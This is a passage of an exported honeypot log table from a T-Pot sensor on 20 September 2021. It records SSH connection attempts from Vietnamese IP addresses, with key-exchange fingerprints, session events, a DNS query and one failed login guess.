"ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 48784, "dest_port": 22, "timestamp": "2021-09-20T11:06:47.160852", "@timestamp": "2021-09-20T11:06:47.160Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21369	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:47.549386+03	2021-09-20 14:15:03.575612+03	{"_id": "dQbjAnwBvYTbRNuEEgKm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin01] failed", "session": "8a535f8b207e", "@version": "1", "password": "admin01", "username": "admin", "timestamp": "2021-09-20T11:06:47.549386Z", "@timestamp": "2021-09-20T11:06:47.549Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21370	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:47.358386+03	2021-09-20 14:15:03.576612+03	{"_id": "ewbjAnwBvYTbRNuEEgKm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "ef4f33bd8365", "@version": "1", "duration": 3.0658748149871826, "timestamp": "2021-09-20T11:06:47.358386Z", "@timestamp": "2021-09-20T11:06:47.358Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21371	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:48.740941+03	2021-09-20 14:15:03.578612+03	{"_id": "fAbjAnwBvYTbRNuEFQIw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2170560159720587, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46062, "dest_port": 22, "timestamp": "2021-09-20T11:06:48.740941Z", "@timestamp": "2021-09-20T11:06:48.740Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21372	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:48.826694+03	2021-09-20 14:15:03.579613+03	{"_id": "mwbjAnwBvYTbRNuEFgKT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8a535f8b207e", "@version": "1", "duration": 2.800304651260376, "timestamp": "2021-09-20T11:06:48.826694Z", "@timestamp": "2021-09-20T11:06:48.826Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21373	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:48.829524+03	2021-09-20 14:15:03.580613+03	{"_id": "nAbjAnwBvYTbRNuEFgKT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d59f041945d4", "@version": "1", "timestamp": "2021-09-20T11:06:48.829524Z", "@timestamp": "2021-09-20T11:06:48.829Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21374	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:48.742356+03	2021-09-20 14:15:03.582613+03	{"_id": "hAbjAnwBvYTbRNuEFgKS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5a2c1cff9272", "@version": "1", "timestamp": "2021-09-20T11:06:48.742356Z", "@timestamp": "2021-09-20T11:06:48.742Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21375	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:48.989953+03	2021-09-20 14:15:03.584612+03	{"_id": "hQbjAnwBvYTbRNuEFgKS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d6dfcef274a0", "@version": "1", "timestamp": "2021-09-20T11:06:48.989953Z", "@timestamp": "2021-09-20T11:06:48.989Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
31507	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:45:44.607515+03	2021-09-20 15:00:02.254717+03	{"_id": "iQYGA3wBvYTbRNuEu0Q3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 30584, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2006956418549019, "@version": "1", "in_iface": "enp5s0", "src_port": 39812, "dest_port": 53, "timestamp": "2021-09-20T11:45:44.607515Z", "@timestamp": "2021-09-20T11:45:44.607Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
21376	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:48.458731+03	2021-09-20 14:15:03.585613+03	{"_id": "hgbjAnwBvYTbRNuEFgKS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:46062 (192.168.176.2:22) [session: 5a2c1cff9272]", "session": "5a2c1cff9272", "@version": "1", "protocol": "ssh", "src_port": 46062, "dest_port": 22, "timestamp": "2021-09-20T11:06:48.458731Z", "@timestamp": "2021-09-20T11:06:48.458Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21377	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:48.541961+03	2021-09-20 14:15:03.587643+03	{"_id": "hwbjAnwBvYTbRNuEFgKS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:43354 (192.168.176.2:22) [session: d59f041945d4]", "session": "d59f041945d4", "@version": "1", "protocol": "ssh", "src_port": 43354, "dest_port": 22, "timestamp": "2021-09-20T11:06:48.541961Z", "@timestamp": "2021-09-20T11:06:48.541Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21378	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:48.741614+03	2021-09-20 14:15:03.589612+03	{"_id": "jgbjAnwBvYTbRNuEFgKS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": 